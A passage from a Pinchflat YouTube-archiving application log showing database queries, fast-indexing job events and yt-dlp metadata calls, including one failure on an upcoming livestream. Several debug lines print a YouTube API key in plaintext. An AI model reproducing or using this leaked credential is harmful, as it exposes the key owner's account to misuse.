"kJC1l4__UhE", "pFiRYgvg69E", "Kf-67zxoUlw", "cDSiCPt2pKM", "fPOCtxWsBYs", "RYok1AdumBU", "YB_dhxAtTjU", ...] 16:37:28.451 [debug] QUERY OK source="media_items" db=0.9ms idle=212.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [36] 16:37:28.474 [debug] QUERY OK source="tasks" db=22.3ms idle=213.1ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268278, 36, ~U[2026-10-09 21:37:28Z], ~U[2026-10-09 21:37:28Z]] 16:37:28.474 [info] {"args":{"id":36},"id":5268239,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":237073,"event":"job:stop","queue_time":332928,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:28.777 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=hW4dvJT12VM --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/51/39/51395bec434a147d03b1e2a790f2d105a02b38c85ca9cd5c492f26d6ed9e7189.json --sleep-requests 78 --sleep-interval 80 --sleep-subtitles 86 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments. 16:37:28.777 [error] Error creating media item 'hW4dvJT12VM' from URL: {:error, "ERROR: [youtube] hW4dvJT12VM: This live event will begin in a few moments.\n", 1} 16:37:28.777 [debug] QUERY OK source="settings" db=0.1ms idle=325.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.777 [debug] QUERY OK source="settings" db=0.1ms idle=325.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.777 [debug] Running yt-dlp command for action: get_media_attributes 16:37:28.778 [debug] QUERY OK source="settings" db=0.1ms idle=303.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.778 [debug] QUERY OK source="settings" db=0.0ms idle=303.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.778 [debug] QUERY OK source="settings" db=0.0ms idle=298.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:28.778 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=b4CKcXNSNRc --simulate --skip-download --output /downloads/Yo Samdy Sam/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --remux-video mp4 --format-sort res:720,+codec:avc:m4a --format bestvideo*+bestaudio/best --print-to-file %(.{id,title,live_status,original_url,description,aspect_ratio,duration,upload_date,timestamp,playlist_index,filename})j /tmp/pinchflat/data/f2/3b/f23b6a7a3df315adedb0c8550dd37fd1c50e65d9ce1934833b3ee2a869031c74.json --sleep-requests 88 --sleep-interval 68 --sleep-subtitles 66 --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 16:37:29.238 [info] {"args":{"id":2},"id":5268240,"meta":{},"system_time":1791581849238175909,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:29.238 [debug] QUERY OK source="sources" db=0.0ms idle=460.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 16:37:29.238 [debug] QUERY OK source="settings" db=0.0ms idle=460.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:29.238 [debug] QUERY OK source="media_profiles" db=0.0ms idle=460.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:29.238 [debug] QUERY OK source="settings" db=0.1ms idle=6.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:29.238 [debug] Fetching recent media IDs from YouTube API for playlist: UUdBK94H6oZT2Q7l0-b0xmMg 16:37:29.239 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:29.239 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:29.525 [debug] QUERY OK source="media_items" db=0.6ms idle=285.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [2, "dP91f2ZTcVo", "z8AtW0ufLuA", "NP7wz4bND3U", "ZF-AafvQZGI", "s3SdFYtRQB4", "9gxqJja_Uw8", "mQ4GG4As-so", "A2wtNp7A_pM", "PT8Iaeoah0A", "geN1VEZF1T0", "uzgWSN1aLt4", "aP68kBQDX2I", "6HcPlK1loWo", "NRhDHqEaXHc", "ijAISVpMIrs", "Dznsr0KN1XU", "2q5x8pdLRpo", "Olwjkt1QNTk", "MW_9s3Y_urI", "yYfActSoDbY", "u8R-bnz1MPU", "JmyepGMyt64", "42noFFM17NE", "AyaRzcapkZ0", "JOMaYjU4Gnw", "JivF-DgpiAE", "hgDGfh74pbw", "_YCDCBtjxrk", "alElfDsk9G8", "P5WzhbRbWKQ", "vVMZuSF7n24", "a2hhtkbcbtU", "MfwD2C4bvN0", "2qlV1KN_67Q", "m1PMTAEeywI", "BsWMWSI1uj4", "fgqKGIiP0SI", "WbO5wGNlrvk", "ezRmgQFaOc0", "WmzphlOwku8", "arA6Q45qTz0", "OpruRLLJC8Y", "R_bsecuV1OM", "w3E_LIeL4gY", "vI_aUzOCM9E", "lIHKjltoDvU", "jeW6dAHq2bQ", "Dwhvzwv7nTc", "zbqZ-0puJjg", ...] 16:37:29.528 [debug] QUERY OK source="media_items" db=2.6ms idle=287.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [2] 16:37:29.529 [debug] QUERY OK source="tasks" db=0.1ms idle=289.9ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268279, 2, ~U[2026-10-09 21:37:29Z], ~U[2026-10-09 21:37:29Z]] 16:37:29.529 [info] {"args":{"id":2},"id":5268240,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":291004,"event":"job:stop","queue_time":331529,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:30.239 [info] {"args":{"id":22},"id":5268241,"meta":{},"system_time":1791581850239281418,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:30.239 [debug] QUERY OK source="sources" db=0.1ms idle=710.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [22] 16:37:30.239 [debug] QUERY OK source="settings" db=0.0ms idle=710.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.240 [debug] QUERY OK source="media_profiles" db=0.1ms idle=704.3ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:30.240 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.240 [debug] Fetching recent media IDs from YouTube API for playlist: UUBZiUUYeLfS5rIj4TQvgSvA 16:37:30.240 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.240 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:30.404 [debug] QUERY OK source="media_items" db=0.6ms idle=164.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [22, "aBRl73fC4-w", "8o8tl_s5hRE", "xO1MFgGVL8A", "fnW_Kbd0epU", "wlwBjCkcoFA", "BXOFhgj8exU", "IfsIu6p6BAg", "J-kMNoHzsjE", "KR56UQviXIA", "OX0gCdPIpO0", "yPIaCiTVEjE", "kyCJ17oq6kI", "UNIPJO5NvJk", "KjvPdIlDaQw", "xzGzXM3sYVI", "QFA5HOkw5Jg", "U5F-B2145JA", "VzcDyndh6uU", "m_uh56JhY4U", "PoeXzuQllKI", "KgItDGqwnDk", "E_dTga__P6w", "y4wdQRmGo7E", "BHQ5h_1bZUs", "10-hCMFcqX8", "vIwqKtD9u3Y", "b-zFY7w4is0", "0hghU1uXY30", "QC5SWSDiGiU", "vN-De4mzuX8", "ctTrCHmuZM4", "73qR9pdlsAo", "xzIADWo9-bc", "v0D9A_1TQ5Y", "CtX5kHZMr6w", "5MhzgeMI6JU", "9W60J35R-kQ", "Er2blBiXFDc", "TftKgvXUH54", "c6vJsI9V94E", "1am-k4WthCI", "GsUTnFu08SM", "Iz3Q-b0k2vY", "pHJnYgdGhUo", "pNyejYjV9Lo", "wsYhtLN5by0", "gQaMracObcw", "R-FqE10GQZc", "k5ueDLDOlAI", ...] 16:37:30.405 [debug] QUERY OK source="media_items" db=0.3ms idle=165.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [22] 16:37:30.406 [debug] QUERY OK source="tasks" db=0.1ms idle=165.6ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268280, 22, ~U[2026-10-09 21:37:30Z], ~U[2026-10-09 21:37:30Z]] 16:37:30.406 [info] {"args":{"id":22},"id":5268241,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":166812,"event":"job:stop","queue_time":355959,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:30.412 [info] {"args":{"id":10},"id":5268242,"meta":{},"system_time":1791581850412200786,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:30.412 [debug] QUERY OK source="sources" db=0.1ms idle=6.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [10] 16:37:30.412 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.412 [debug] QUERY OK source="media_profiles" db=0.1ms idle=6.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 16:37:30.412 [debug] QUERY OK source="settings" db=0.0ms idle=6.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.412 [debug] Fetching recent media IDs from YouTube API for playlist: UUBJycsmduvYEL83R_U4JriQ 16:37:30.412 [debug] QUERY OK source="settings" db=0.0ms idle=0.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 16:37:30.413 [debug] Using YouTube API key: AIzaSyAKiKyeLm8aXqrWuVA7WcbK-siQl5FOhFc 16:37:30.738 [debug] QUERY OK source="media_items" db=0.8ms idle=325.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE ((m0."source_id" = ?) AND m0."media_id" IN (?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?)) [10, "_0G4OG39XjI", "3iRUwVzRDZQ", "e1q-TuHdc4Y", "rayrrXot17M", "DkUuOr21v4s", "pOX1l1edBME", "ohqxP8EEumo", "6D__H_DO2Xk", "Od6M0AXpcxQ", "R6yNUnRXZ64", "uJdjKOBikTE", "ANmTVYkEtLw", "fo-uubnajWM", "v-_d2e7x4KA", "ngPkbaZliaU", "mfmdXPT7nAM", "o4SSoURPODY", "Z6z_feacXW8", "_xjxwl1zLMc", "8Hx2yvWSgs0", "kUnR9dO4EnA", "_oRgdlJUD18", "eWKY0OnPByg", "DUgPFNRmsCQ", "7KRabLH7jcE", "ZpF6IE0rdxA", "oYAnEH0JoqI", "QrT4S9i3agE", "WOzcFkld6_g", "_gCXmKjDecU", "n3V3LZh_r40", "ImRy_PiXstI", "mk_wdHePbtQ", "M4xlXvCAc2E", "9GSDvO0LFFE", "OPOS0tre9eQ", "VIE2Ri2DQJg", "eFeDpUVEy48", "coX4duwUCpw", "i9TvUGeTltE", "7YrdI7h2XoY", "c347oYQO57A", "5aS-8QCRdGE", "s3DrGkDvgNw", "as_NEJAP8ew", "Hc0aqOEU2w8", "eFUB_jL_XcM", "pvjivZ6C6CA", "jru9Gsz3kJY", ...] 16:37:30.742 [debug] QUERY OK source="media_items" db=2.9ms idle=326.7ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."source_id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) [10] 16:37:30.743 [debug] QUERY OK source="tasks" db=0.1ms idle=329.8ms INSERT INTO "tasks" ("job_id","source_id","inserted_at","updated_at") VALUES (?1,?2,?3,?4) RETURNING "id" [5268281, 10, ~U[2026-10-09 21:37:30Z], ~U[2026-10-09 21:37:30Z]] 16:37:30.743 [info] {"args":{"id":10},"id":5268242,"meta":{},"state":"success","max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","duration":330831,"event":"job:stop","queue_time":204936,"attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:31.240 [info] {"args":{"id":4},"id":5268243,"meta":{},"system_time":1791581851240219516,"max_attempts":20,"queue":"fast_indexing","worker":"Pinchflat.FastIndexing.FastIndexingWorker","source":"oban","event":"job:start","attempt":1,"tags":["media_source","fast_indexing","show_in_dashboard"]} 16:37:31.240 [debug] QUERY OK source="sources" db=0.2ms idle=497.4ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [4] 16:37:31.240 [debug] QUERY OK source="settings" db=0.1ms idle=497.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", 